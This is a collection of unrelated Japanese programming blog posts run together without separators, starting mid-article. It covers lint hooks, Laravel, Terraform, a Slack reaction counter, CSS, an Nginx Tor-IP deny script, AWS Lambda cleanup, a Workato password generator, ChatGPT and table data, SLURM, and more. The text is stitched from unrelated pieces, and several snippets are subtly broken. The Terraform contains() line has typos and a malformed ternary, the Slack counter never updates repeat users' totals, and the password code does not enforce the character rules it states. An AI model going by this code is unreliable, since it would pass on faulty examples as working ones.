上記のようなディレクトリでcommit時にbackend側では```rubocop```が、frontend側では```ESLint、prettier```が走るようにします。
※ backendディレクトリに```rubocop```、frontendディレクトリに```ESLint、prettier```がインストールされている状態です。
```package.json
    {
      "devDependencies": {
        "husky": "^8.0.2",
        "lint-staged": "^13.1.0"
      },
      "scripts": {
        "prepare": "husky install",
        "frontend:clean": "cd frontend && npx prettier --write src && npx eslint --fix src"
      },
      "lint-staged": {
        "backend/app/**/*.rb": "rubocop -a",
        "frontend/src/**.js": "npm run frontend:clean"
      }
    }
```
```package.json```を上記のように設定して、コミットします。
![スクリーンショット 2022-12-16 19.43.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2849988/7cc6ecb1-3cff-c583-f8ff-f66d9e380cff.png)
↑ このような画面になり、```rubocop```、```ESLint,prettier```の条件を満たしていた場合コミットされます。
【Laravel】setRelationで永続化されてないモデルオブジェクトを繋げる

## 概要

EloquentのsetRelationメソッドを初めて知ったかつ便利そうだと思ったので共有


https://nextat.co.jp/staff/archives/165

https://zenn.dev/yum3/articles/t_laravel_eloquent_performance

## どういうものか

```php
$hoge = HogeModel::find(1);
$huga = new HugaModel();
$huga->text = 'aaaaa';
$hoge->setRelation('huga',$huga);
//アロー演算子で取り出せる
$hoge->huga;
//'aaaaa'
```

存在しないリレーションも付け足せます。
> Modelに定義してないリレーション

ただ取り出せるだけなので、``setRelation()``して``save()``してもリレーション先のidを持っていないのでエラーになります。

つまり上の例だと、$hugaオブジェクトを``setRelation()``で突っ込んだとしても
$hugaオブジェクトにhoge_idは存在しません。
$hoge->huga->hoge_id = $hoge->id;
でidを与えた後に``save()``であれば保存出来ます。

```php
$hoge = HogeModel::find(1);
$huga = new HugaModel();
$huga->text = 'aaaaa';

$hoge->setRelation('huga',$huga);

$hoge->huga->hoge_id = $hoge->id;
$hoge->huga->save();
```

viewや処理の為、動的に突っ込みたい時に使え、、、そう...?うーん
試験の後で「なんで気づかなかったんだ」ってなる、アレ

# よくあるレビューの風景

担当者「〇〇と□□と△△を分析しました。レビューをお願いします」

責任者「お、いいですね〜。これ、どんな視点で分析したんですかね？　大カテ、中カテ、小カテ、で言うと？」

担当者「資料の、この部分ですね」

責任者「うーん、この切り方だと、××が薄いですね。このカテゴリの周辺を変更してみましょうか」

担当者「はぁ」

責任者「これをこうして、こんな感じかな？　これまでの分析の文脈にのっかると、●●っていう分析もできるんじゃないですか？」

担当者「え？！　まじかー、これは気づかなかった・・・！」

専門的な内容ではなく大局的な視点で指摘して、面目躍如する責任者。
よくある風景じゃないでしょうか。

これは [EDA は仮説生成が大事](https://qiita.com/NaoyukiSakai/items/fe9c25ce660bdb5bba49)で書いた、広さ・深さ・構造を、責任者が修正しているお話です。

正直なところ、これを1人でやるのは無理ゲーじゃないか、環境がわるいとクソゲーになってしまうのではないか、と私は思っています。

要は、現場でデータ分析やAIの仕事をしている人が、上長に反論するための言い訳を考察してみたいと思います。

# 「広い」視点を、現場の作業者にやらせるの？

データが作成されるまでには、さまざまな人の行動や判断があります。それぞれの業務ですら、１人で仕事をしていません。仕事のプロセスの前後があります。

クライアントの業務をヒアリングしていても、

「え？　その発言、前後関係がつながってないんですけど」

みたいなことが多いです。

そんな状態で、データだけ分析担当に丸投げして、結果を出せ、って無理ゲーでしょう。

ここまではレベルが低いクライアントです。

デキるクライアントでも問題はあります。彼らの仕事は教科書的なベストプラクティスだけではありません。歴史的な経緯で一見非合理なプロセスを持っていることがあります。

「この業界、こんな感じだろう」

と分かったフリをして仕事をすると、

「なんで？　そもそもおかしくない？」

という EDA 以前のところにハマってしまうことも少なくありません。

# 業務の風景を「深く」想像することは超ムズイ

業務フロー・データフローを把握して、顧客にヒアリング。
まっとうにやるべきことをやっても、後から

「それ、聞いてないんですけど」

と重要な情報を聞くこともあるでしょう。

というのも、顧客の中で重要な情報が言語化されていない。なんとなくわかっているけど、業務の常識扱いされている。いわゆる「暗黙知」というやつですね。

言語化されていなければ、どう分析すればいいかわからない。

デザイン思考っぽく、現場を観察する、というやり方もあります。

でも、その手の専門家ではない人が観察しても、大事なポイントってわからないのではないでしょうか。個人的な見解ですが、実際に仕事して痛い目を見ないと、専門分野の重要な微差って理解できないし、気づかないと思います。だから、こんな記事を書いてます:smile:。


# 洞察につながるような「構造」把握って、エンジニア・アナリストの仕事なの？

よくある技術系の人が書いた問題の構造化は、一般論で分解されています。大カテ・中カテ・小カテ・具体的な項目を上下関係で吟味すると、途中まではいいのですが、どこかで粒度の飛躍が起きています。

また、粒度が大きすぎるために、業務の場面がぼやけます。正しいんですが、生っぽさに欠ける。ありきたりの一般的なお題目が並んだり、可視化のアウトプットイメージがよくわからなかったりします。


# 「対案を出せ」って言われたら

上記のような言い訳をしても現場の仕事は楽にならないですし、対案を出して行動しないと環境を改善できません。

既出の記事とかぶりますが、ざっくり以下の方針があるのではないでしょうか。

① 得意な人と組む。

人材要件としては、以下ですね。

- データに関する、仕事のプロセス、関係者をまとめてくれる
- 暗黙知まで聞き出せる、超上手な質問をしてくれる

② 壁打ち相手を作る。

- 第３者視点で、自分になかった視点を提供してくれる

③ 小さく回す

- 気づけないのは仕方ない、人間だもの。その代わり、学習ループを高速に回す。


よくあるのは、「今できること」として③を採用しがちです。ただ、行き当たりばったりになるんですよねぇ。。。

①、②の人材がいなければ、マネジメント職の人ががんばるしかなくなります。

まぁ、マネジメント職に①、②をやらせようと

「あなたは、私よりお給料もらってますよね。いけてるところをみたいなぁ。え？　できない、なんていいませんよね？」

「で、できらぁ！」

と煽っても、後で恨まれるのがオチですよねぇ。

長期視点では、人材教育をする、
短期視点では、業務委託する、

あたりが現実的な路線ではないかと思います。
【Terraform】色々な条件分岐方法メモ

## 概要


Terraformにはif文がない。
しかし、環境ごとに値を変えたいなど条件分岐的な記述をしたい時がある。
Terraformでは、三項演算子と特定のプロパティを組み合わせることによって、条件分岐的な記述が可能になる。
## count + 三項演算子
countの数だけリソースが作成され、0ならリソースを作成しない。  
開発環境によってcountの値を変化させ、リソース作成の有無を分岐させるなどといった使い方ができる。

(例)
```tf
resource "aws_s3_bucket" "b" {

    count  = var.env == "prod" ? 0 : 1
    bucket = "s3-website-test.hashicorp.com"
    acl    = "public-read"
    policy = file("policy.json")

}
```


## dynamic + for_each

一部リソースではcountが使えないこともある。
そこで`dynamic`ブロックと`for_each`を使ってリソースの作成数を分岐させる方法もある。

```tf
variable list = []
```

```tf
resource "example" "hoge" {

    dynamic attribute {
        for_each = var.list
        
        content {
            attribute1 = "hoge"
            ...
        }
    }
}

```

三項演算子と組み合わせる場合

```tf
resource "example" "hoge" {

    dynamic attribute {
        for_each = var.fuga ? [] : [1]
        
        content {
            attribute1 = "hoge"
            ...
        }
    }
}

```

for_eachが空配列なら、countが0の時のようにリソースが作成されない。
## contains + 三項演算子

配列`list`の中に`value`が含まれているかで分岐
```tf
attribute = cointains(list, value) : valiue ? null
```


#### map内に特定のkeyがあるかどうかで判定

以下のような変数があるとする

```tf
variable item {
    hoge = "fuga"
}
```

```tf
attribute = contains(keys(item.value), "hoge") ? item.value["hoge"] : null
```

変数itemの中にhogeというkeyが存在するかどうかで判定
→ 存在しなければ**nullを代入**


## 参考
https://developer.hashicorp.com/terraform/language/meta-arguments/count

https://developer.hashicorp.com/terraform/language/expressions/dynamic-blocks

https://developer.hashicorp.com/terraform/language/functions/contains
Slackのリアクション数を集計するアプリを作ってみた

本記事はCocone Advent Calendar 2022の18日目の記事となります。
# はじめに
はじめまして、ココネ新卒クライアントエンジニアの、たこくらげです。

ココネのエンジニア文化の1つにcode-festaというものがあります。
これはSlackのチャンネルで自分が実装したコードの共有や技術tips、実装で詰まった部分などを共有し、それに対してのリアクション数で半期毎に表彰を行うというものです。

code-festaは素晴らしい文化なのですが、一方で信じられないことに以前までこのリアクション数の集計は手動でやっていました...。(1時間とか普通にかかっていた)
流石にめんどくさいのでPythonの勉強を兼ねて簡易的な集計アプリを作りました。

# 作ったもの
まず初めに、このアプリを実行するためにあらかじめslack appを作成し、集計を行いたいチャンネルに追加をします。
今回は`conversations.history`と`users.info`を叩ければいいのでスコープは`users:read`と`channels:history`があれば良いかと思います。

次にアプリの内容についてです。
ターミナルから集計期間を入力し、特定のチャンネルの期間内の投稿について
- リアクションをもらった人
- リアクション数

を集計してターミナル上に表示させます。
書いたコードがこちら。

```python:codeFesta.py
import requests
import json
import datetime

TOKEN = "Slack Appのトークン"
url = "https://slack.com/api/conversations.history"
name_url = "https://slack.com/api/users.info"
header={
    "Authorization": "Bearer {}".format(TOKEN)
}

print('開始日時をyyyymmdd形式で入力してください')
start_time_str = input('>> ')
print('終了日時の次の日をyyyymmdd形式で入力してください')
end_time_str = input('>> ')

start_time = datetime.datetime.strptime(start_time_str, '%Y%m%d').timestamp()
end_time = datetime.datetime.strptime(end_time_str, '%Y%m%d').timestamp()

payload  = {
    "channel" : "チャンネルのID",
    "oldest" : str(start_time), #このタイムスタンプ以後の投稿が対象
    "latest" : str(end_time), #このタイムスタンプ以前の投稿が対象
    "limit" : "100000000000"
    }

res = requests.get(url, headers=header, params=payload)
json_data = res.json()
msg = json_data["messages"]

code_festa_dict = {}

for i in msg:
    if('reactions' in i):
        count = 0
        user = i["user"]

        payload = {
            "user" : user
            }

        res = requests.get(name_url, headers=header, params=payload)
        json_data = res.json()
        name = json_data["user"]["name"]

        for j in i["reactions"]:
            count += j["count"]

        if name in code_festa_dict:
            tmp = code_festa_dict[name]
            tmp += count
        else:
            code_festa_dict[name] = count

code_festa_dict = sorted(code_festa_dict.items(), key=lambda x: x[1], reverse=True)

[print(i) for i in code_festa_dict]
```
# 使い方
ターミナル上で
`python3 codeFesta.py` 
を実行。
開始日時と終了日時の次の日が求められるので入力する。

**実行結果**
![スクリーンショット 2022-12-16 19.05.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1506069/9f1fd09b-0091-b11a-da6e-3fa7837d41c1.png)
# 最後に
今回のアプリを使うことで、これまで１時間ほどかかっていた集計作業時間をなくすことができました。
python触ったことが無かったので、特殊な仕様に困惑しながらも楽しんで作ることができました。
ほかにもスプレッドシートなどと連携して過去の受賞者を除いたり、色々な機能を追加してもっと楽に集計をできるようにしたいですね。

今回の記事がslackの投稿のリアクション数を計測したいんだけどよく分からないんだよなぁ、という方の一助になれば嬉しいです。
【SwiftLint】1行だけSwiftLintの対象外にする

# はじめに
「全体には適用したいルールだけど、この箇所だけは例外なんだよな。。。」
この部分だけエラーが出ないようにできないかな。。。

# やりかた
無効にしたいルールの名前を確認します。
![スクリーンショット 2022-12-16 19.29.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/1e848e51-c4f8-01aa-2f2c-d02fb288e2b0.png)

対象の箇所に以下のコメントを追加します。
```swift
// swiftlint: disable 無効にしたいルールの名前
```

無事無効にできました。

# おわり
これを知って気づいたのですが、SwiftGenは自動で無効にするルールのコメントを追加してたんですねー
優秀〜
![スクリーンショット 2022-12-16 19.33.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1745371/8fd795ea-6989-6ec6-76d8-4ed1adc25b65.png)
【Javascript】オブジェクト配列で指定キーのmin, maxを取得する

reduceを使います。
prevとcurrentをキーで比較し、オブジェクトをreturnします。

```javascript
const data = [
  { name: "aaa", score: 90 },
  { name: "bbb", score: 30 },
  { name: "ccc", score: 20 },
  { name: "ddd", score: 70 },
  { name: "eee", score: 50 },
];

// scoreが最大を取得
const highest = data.reduce((prev, current) => {
  if (prev.score > current.score) {
    return prev;
  } else {
    return current;
  }
});

console.log(highest);
```
結果
```
{ name: 'aaa', score: 90 }
```
git cloneしたvueフォルダをローカル環境で再現する

githubでローカル環境にcloneしたvueフォルダをnpm run serve すると下記のエラー表示になる

```
vue-cli-service: command not found

```

結論
npm install すべし

npm installでクローンしたプロジェクトの依存パッケージをインストールしなければならない。
package.jsonに記載されている依存パッケージがnode_modules配下にインストールされるためエラーが消える。
書体サイズをウインドウに合わせる

[ひとりCSS Advent Calendar 2022](https://qiita.com/advent-calendar/2022/css-becolomochi) 17日目です。

clamp() を使いつつ、書体サイズをウインドウに合わせるをやってみます。

## Codepenのサンプル

<p class="codepen" data-height="300" data-default-tab="html,result" data-slug-hash="YzjKKdP" data-user="becolomochi" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/becolomochi/pen/YzjKKdP">
  css variables</a> by Beco (<a href="https://codepen.io/becolomochi">@becolomochi</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>

## コードについて

### HTML

p タグで囲んだテキストを用意しました。

```HTML
<p>Merry Christmas🎄</p>
```

### CSS

使うところだけ抜き出しました。

```CSS
p {
  font-size: clamp(2rem, 10vw, 6rem);
}
```

- clamp() の中身は、最小値、基本のサイズ、最大値の順に書く。
- 基本のサイズには vw （ビューポート幅の1%） の単位で指定することでウインドウ幅に合わせられる。
- このままだと大きすぎたり小さすぎたりしてしまうので、clamp() を使って最小サイズと最大サイズを設定した。
NginxでTorのIPをブロックする

Wordpressサイトでやたらユーザー登録される。
名前やメールアドレスはめちゃくちゃ、アクセス元のIPも国もバラバラ。
何だこいつは？

と思ってIPを調べてみたところ、Torからのアクセスだと発覚したことがありました。
何が目的かは分からないですが、謎の会員が増えていくのは気持ち悪い、、、

ということで、とりあえずnginxでブロックすることにしました。
もっと上手いやり方があるのかもしれませんが、シェルスクリプトでサクッと対応したことについて書いていきます。
（AWSの機能でもできるのかな？）

※注意
「Torはヤバいからブロック推奨」という趣旨ではありません。
上記のように悪意を持って（もしくはただの悪戯で）Torを利用している人もいるので、
それに対抗するための**技術**を紹介するだけのものです。
Tor自体は悪くない。ネットの匿名性は大事。

## 環境

- 初代Amazon Linux（早く最新のOSに入れ替えたい）
- SysVinit（Systemdではないので、/etc/init.d/xxxx で操作します）

## やりたいこと

- Torの大量のIPを一個一個設定してられないので、IPのリストを全部取得して一括拒否したい。
- TorのIPリストは定期的に変わるので、nginxの設定ファイルも定期的に更新したい。
- その更新は自動でやって欲しい。
- 更新がなんかうまくいかなかった時はSlackにメッセージ飛ばして欲しい。

## 実装

```bash:/opt/deny-tor-ip.sh
#!/bin/bash

TMPFILE="/tmp/deny-tor-ip.tmp"
rm -f ${TMPFILE}

TOR_EXIT_NODE_LIST_URL=https://raw.githubusercontent.com/SecOps-Institute/Tor-IP-Addresses/master/tor-exit-nodes.lst
CONFIG_FILE=$1

curl ${TOR_EXIT_NODE_LIST_URL} | sed -e 's/^/deny /g' -e 's/$/;/g' > ${CONFIG_FILE}

/usr/sbin/nginx -t 2> ${TMPFILE}
if [ $? == 0 ]; then
	/etc/init.d/nginx reload
else
	WEBMESSAGE="Nginx test failed. Check ${TMPFILE} at ${HOSTNAME}"
	curl -s -S -X POST --data-urlencode "payload={\"text\": \"${WEBMESSAGE}\" }" ${DENY_TOR_IP_WEBHOOKURL} >/dev/null
fi
```

一応ざっくり説明しておきます↓

- `TMPFILE`: nginxの設定をテストした結果を保存しておくファイル。テストが失敗してしまった場合にはこのファイルを見て原因を確認する。置き場所とかファイル名はご自由に。
- `TOR_EXIT_NODE_LIST_URL`: Torの出口ノードのIPリストを１時間ごとに更新してリスト化してくれるありがたいURL
- `CONFIG_FILE`: IP拒否設定を記述するための、Nginxのconfigファイルのフルパス。サーバごとに設定ファイル名が変わるかもしれないので引数で渡すことにします。
- そんでもって、`/usr/sbin/nginx -t`で設定を確認します。問題がなければ0が返ってくるので、nginxをリロードします。
- もし「nginxの設定がおかしいよ」という場合は、Slackにメッセージを飛ばします。SlackにWebhookURLを設定する方法は割愛。`DENY_TOR_IP_WEBHOOKURL`は環境変数で渡すことにします。

---------------------------------------

- 「まあどこのサーバでも同じ名前でいいだろ」という`TMPFILE`はスクリプト内で設定。
- 「サーバによってはファイル名変えるかも」と思われる`CONFIG_FILE`は引数で渡す。
- 「サーバによって変えるけど、引数で渡すと長くてcronが読みにくくなるわ」と予想される`DENY_TOR_IP_WEBHOOKURL`は環境変数で渡す。

という方針にしています。

## 設置

さて、スクリプトが用意できたのでcrontabで以下のような設定をします。
crontabを設定するユーザーに対しては、上記のスクリプトやnginxを実行できる権限を与えてあげてください。

```
DENY_TOR_IP_WEBHOOKURL=XXXXXXX
00 01 * * * cd /opt/deny-tor-ip; ./deny-tor-ip.sh /etc/nginx/conf.d/XXXXX.conf > /dev/null 2>&1
```

IPリスト自体は１時間おきに更新されていますが、Nginxの設定としては1日1回の更新でも十分でしょう。
設定反映後、Torブラウザからアクセスして403になれば完了です。

なお、
「Amazon LinuxじゃなくてUbuntuです」
「SysVinitじゃなくてSystemdのシステムです」
という方については、スクリプトの`/usr/sbin/nginx -t`とか`/etc/init.d/nginx reload`あたりをご自身の環境に合わせて調整してみてください。
たぶん同じように動きます。

以上です。

## 参考文献
[出口ノードのIPリストを取得させていただいたGitHubアカウント](https://github.com/SecOps-Institute/Tor-IP-Addresses/blob/master/tor-exit-nodes.lst)
[Error] VirtualBox vboxmouse.sys blue screen stop code DRIVER_IROL_NOT_LESS_OR_EQUAL etc..

# error
![SYMMETRY_0001_BURST20221117003140171_COVER.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/813031/1949e212-426d-d128-b121-864ef9502ada.jpeg)

logicool製品などの無線USBリピータ（レシーバ）などをWindows起動上に外すなどをするとブルースクリーンが発生する。


#　原因 参考

https://forums.virtualbox.org/viewtopic.php?t=104893

# 対処方法

[設定]-[アプリ]-[Oracle VM virtualbox Guest Additions]　をアンインストールする。（再起動）

# 結果

USBリピータ（レシーバ）を外してもブルースクリーンは発生しなくなる。

ホスト側のGuest Additionsを消してもゲスト側のGuest Additionsを残しておけばファイル共有などの機能はそのまま使える
PICでアセンブラのススメ

# PICでアセンブラのススメ
どうも皆さんこんにちは[呉高専アドベントカレンダー](https://adventar.org/calendars/7908)の期限を守れない社会不適合者です。
もともとはC言語を学ぶための基礎の記事を書こうと思っていたのですが、
期限を過ぎてしまい時間がないので(ごめんなさい)、最近勉強しているPICのアセンブラで、
今まで行き詰まったことなどを解決策と一緒に共有しようと思います。








## PICのアセンブラの言語を特定する。
　さて、まずアセンブラを書くにあたって大事な知識として、
ご存じの方も多いとは思いますがアセンブラとは機械語を少し人にわかりやすくした言語のことです。
そして、特定の1つの言語のことではなく、アセンブラは多くの種類があります。
つまり、PICのアセンブラを学習するには、まずアセンブラの種類を特定する必要があります。

そこで、私の持ち前のGoogle力で検索してみたところ[MPASM](http://ww1.microchip.com/downloads/en/devicedoc/33014g.pdf)とゆう言語を見つけました。
がしかし、[MPLAB IDE](https://www.microchip.com/en-us/tools-resources/develop/mplab-x-ide)で打ち込んでみて気が付きました。

**コードに色がつかない!!**

MPLAB IDEくんは優しいので、アセンブラでも命令語などには色がつくのですが、MPASMの命令語を打ってみても色がつかないのです。
そこで不審に思った私はネットサーフィンをすることに...

すると出てきました、なんとMPASMは過去の言語で最近の環境では[pic-asに移行](http://tutujith.blog.fc2.com/blog-entry-564.html?sp)していたのです。
とゆうことで、PICのアセンブラはpic-asとゆうことが特定できました。


## 気づき
　しかし、ここまで調べて気づいてしまったのです。
**C言語でプログラムを書いてアセンブリリストを出せばよかったと...**

[アセンブリリストの出し方のわかるありがたい記事](https://days-of-programming.blogspot.com/2018/01/mplab-x.html)

みなさんが勉強するときはぜひこの情報を糧にしてください。
本文はここいらで終わらせてもらいます。(中身が薄いのは許してくれ)
あとは、おまけを書いて終わりにしようと思います。



## おまけ
アセンブラを書くにあたって役立つ小話何個かします。



### Frame Pointer
PICって実はメモリ管理をすごく考えた設計をしているんですけど、
その設計はスタックメモリの管理にまで行き届いていて、
スタックメモリに対し、フレームポインタとゆう概念を適応しています。(少なくともdspicでは、他のpicはわからん)
簡単にゆうとスタックに対しスコープ分のメモリをLNK命令で確保して、
ULNKで開放するとゆう事ができ、これによりスタックの過剰な開放などによるメモリの事故がなくなります。


### レジスタのなんやかんや
アセンブラを書くにはいくつかの内部レジスタを知る必要があるのですが、
公式からpdfで資料が出ているので参考にするといいと思います。
[こうゆうのとか](http://ww1.microchip.com/downloads/jp/DeviceDoc/70204B_JP.pdf)


### 今から勉強するなら
基礎知識がないとしんどいのでパソコンでまず勉強することをおすすめします。
[NASM](https://www.nasm.us/doc/nasmdoc1.html)とかがオススメです。
使ったことがないのでなんとも言えないのですが[MASM](http://www.masm32.com/)とかはだいぶ高水準寄りらしいです。
clear-lambda-storage で古いバージョンの Lambda を一括削除する

# clear-lambda-storage について

Lambda 関数は、既存の関数をデプロイするたびに、以前のバージョンを保持します。
そのような時に、古いバージョンの Lambda を一括削除したい場合があります。
![スクリーンショット 2022-12-16 18.28.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280929/bb1f8f5e-1503-a526-09b8-f7f61bfa00b8.png)

そんな時、以下の clear-lambda-storage を利用することで一括で削除してくれるようです。

https://github.com/epsagon/clear-lambda-storage


# やってみる

今回は、Cloud9 から実行します。

clone して、フォルダを移動し、必要なライブラリをインストールします。

```
git clone https://github.com/epsagon/clear-lambda-storage
cd clear-lambda-storage/
pip install -r requirements.txt
```

実行する前に、`default=3` に書き換えます。これは、保持するバージョンの数で、デフォルトでは 2 で今回は、3 残すようにします。

```python:clear_lambda_storage.py
    parser.add_argument(
        '--num-to-keep',
        type=int,
        default=3,
        help=(
            'Number of latest versions to keep. Older versions will be deleted. Optional '
            '(default: 2).'
        ),
        metavar='num-to-keep'
    )
```

```
python clear_lambda_storage.py

Keeping 3 versions for functions     ##### 3 つのバージョンを保持
Scanning af-south-1 region
Could not scan region
Scanning ap-east-1 region
Could not scan region
Scanning ap-northeast-1 region
Detected testA with an old version 3 #####　testA関数のバージョン 3 を削除
Detected testA with an old version 4 #####　testA関数のバージョン 4 を削除
Scanning ap-northeast-2 region
Scanning ap-northeast-3 region
Scanning ap-south-1 region
Scanning ap-south-2 region
Could not scan region
Scanning ap-southeast-1 region
Scanning ap-southeast-2 region
Scanning ap-southeast-3 region
Could not scan region
Scanning ca-central-1 region
Scanning eu-central-1 region
Scanning eu-central-2 region
Could not scan region
Scanning eu-north-1 region
Scanning eu-south-1 region
Could not scan region
Scanning eu-south-2 region
Could not scan region
Scanning eu-west-1 region
Scanning eu-west-2 region
Scanning eu-west-3 region
Scanning me-central-1 region
Could not scan region
Scanning me-south-1 region
Could not scan region
Scanning sa-east-1 region
Scanning us-east-1 region
Scanning us-east-2 region
Scanning us-west-1 region
Scanning us-west-2 region
----------
Deleted 2 versions from 1 functions
Freed 0 MBs
```

# 確認

testA関数のバージョン 3 と 4 が削除され、3 つ残ったことが確認できました。

![スクリーンショット 2022-12-16 19.04.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/280929/b095847d-17ff-02f5-9311-d9759d2b1748.png)
Workatoで強力なパスワードを自動生成してみる！

昨年、Workato初心者として「月末の定期連絡について自動化を考えてみる」という記事を投稿し、1年が経ちました。
そしてまたこの季節が訪れ、1年の成果をだす為にも今年もアドベントカレンダーにチャレンジしてみたいと思います。
皆さん良ければお付き合いください（＾＾）

----

<b>今年の記事は「Woratoで強力なパスワードを作る方法！」</b>

<b>:bulb:レシピで実現したい内容</b>
　①パスワード8文字
　②1つの大文字、数字、または特殊文字が含まれている
　　※少なくとも8文字は必要であり、1つの大文字、数字、または特殊文字が含まれている必要あり

<b>:fork_and_knife:レシピ内容</b>
<b>１）レシピを新規作成</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/29827595-b004-6ff7-af1a-4c321c5da519.png)

<b>２）TriggerにAPPを設定</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/569e51e7-6bd5-7ecd-a3db-b9ab5a313c20.png)

<b>３）Actionsを設定</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/67a802a9-550b-a010-999b-2d7747defe4f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/d31ce096-7604-98a4-7694-664b432df21f.png)

<b>４）PythonのSetup設定</b>
<b>Name</b>
任意の名称を設定（処理内容が分かる名称がお勧めです！）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/233f2306-c069-3ef1-50a8-63c7fba8844b.png)
<b>Input fields</b>
「Add field」ボタンを押下して、Add new field画面に以下内容を設定
　・Label：length
　・Data type：Number　　
　・Hint：なし　
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/90a1d101-7e9a-082d-45b3-2fd65ddd8a1b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/2b9412a1-6ccb-f251-3465-c976be9aa1e4.png)
設定後のschema画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/5104db42-1607-c46b-4f06-335b15927539.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/4bd2aad2-a5d7-bd53-c886-3a85732a896a.png)


<b>Output fields</b>
「Add field」ボタンを押下して、Add new field画面に以下内容を設定
　・Label：password
　・Data type：String
　・Optional：No
　・Hint：なし
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/57e6b318-41ec-5ca2-b167-6bcad7d0239f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/82207255-ab75-1ab8-e1de-0af7ec67f415.png)
設定後のschema画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/492ce9c2-81c7-d62b-bf57-3f8864c4e7d3.png)

<b>Code</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/34322963-886d-ba04-c5f6-b303d70c6ee0.png)
コードは以下となります。
```
import secrets
import string
 
def main(input):
    length = int(input["length"])
    pass_chars = string.ascii_letters + string.digits + string.punctuation
    password = ''.join(secrets.choice(pass_chars) for x in range(length))
    return {"password" : password}
```

<b>５）設定を保存</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/756bda58-0007-ed68-7d67-60c9fc678bf5.png)

<b>::bar_chart::実行結果</b>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/ec7371fb-6ce5-10b2-397b-df386e8c897b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2187952/993fbd29-9bf4-cb60-dc0d-2a8b0c030dfd.png)
ChatGPTは表計算ができる

まとめ: ChatGPTは、表を理解し計算をすることができる。

ChatGPTは表(テーブル)を回答として出力することがあるそうです。そもそも出力はマークダウン形式のようです。そこで、入力データとして表を使ったらどうなるのかを実際に試してみました。その結果、ChatGPTはマークダウン形式の表を理解し計算をすることができるらしいことがわかりました。

テストとして以下の2つの表をマークダウン形式に入力します。

```
| 商品名   | 担当者 |
|-------|-----|
| キャベツ  | ささき |
| じゃがいも | かとう |
| りんご   | やまだ |

| 商品名   | 価格(円) |
|-------|-------|
| キャベツ  | 150   |
| じゃがいも | 100   |
| りんご   | 200   |

```
(ズレて見えるのは仕様です)

これが回答になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/81befe60-8aba-6648-beb1-8a85fe12178b.png)
表の内容を正確に理解しているようです。

次に集計をさせてみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/b3138a04-8492-7822-5b44-4b6d380f1a07.png)
注文の合計額を計算できるようです。計算はあっているようです。言語モデルとは？

次に表の更新を行ってみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/59d47f2d-0e18-069c-951a-303586a9c59f.png)
価格表が更新され、合計額が更新されています。おまえ、エクセルじゃん。

価格表を表示させてみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/f32460ca-4634-52a8-3506-5dca517194d4.png)
画像ではわかりませんが、表示してゆく過程でマークダウン形式のテキストが一瞬だけ表示されます。

複数のテーブルを関連付けた質問を行ってみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/f9ed35a7-3e47-1716-d3d2-273aa9d6526a.png)
Excelのvlookup(xlookup)、SQLのJoinに相当する事ができるようです。

最後に、ひっかけ問題を出してみました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1660/66a4b876-c331-2660-fec2-183a0c9b0d5b.png)
適当に回答するといったケースは見つかりませんでした。

末恐ろしい。ほんとうに近い将来に失業しそう…
ノードを起動してもSLURMのsinfoがidleにならない時の対策

## 問題

フロントシステムから`sinfo`コマンドを使ってSlurmの接続を確認し、`idle`ではなく`down`になっているときがある。電力料金事情もあって、計算ノードは普段電源OFFして、利用時のみWake On LANで立ち上げたい。となると、起動時は自動でidle状態になって欲しい。

何とかしよう。

当環境: CentOS7.9、SLURM 19.05.5

SLURMのインストール方法はこちら
[https://qiita.com/pochman/items/1353fc0d93d0f1bd9989](https://qiita.com/pochman/items/1353fc0d93d0f1bd9989)

## 当環境での原因

当環境では計算ノード起動時に、`munge`サービスが上手く立ち上がっていないことが原因だった。`munge`が起動に失敗するのは、サービスの起動順序が早すぎるため。サービス起動順序の依存関係を設定することで、解決できた。サービスの依存関係は`/etc/systemd/system/multi-user.target.wants/`の中の`munge.service`に書き込む（実はシンボリックリンクだけど）。その中の`Unit`項目に、`After`から始まる次の行を追加
```
[Unit]
Description=MUNGE authentication service
...
After=network.target ypbind.service
```
すると、`ypbind`サービスが起動するまでmungeの起動を待つようになる。ちなみに、slurmdもmungeを待つようになっているはず。

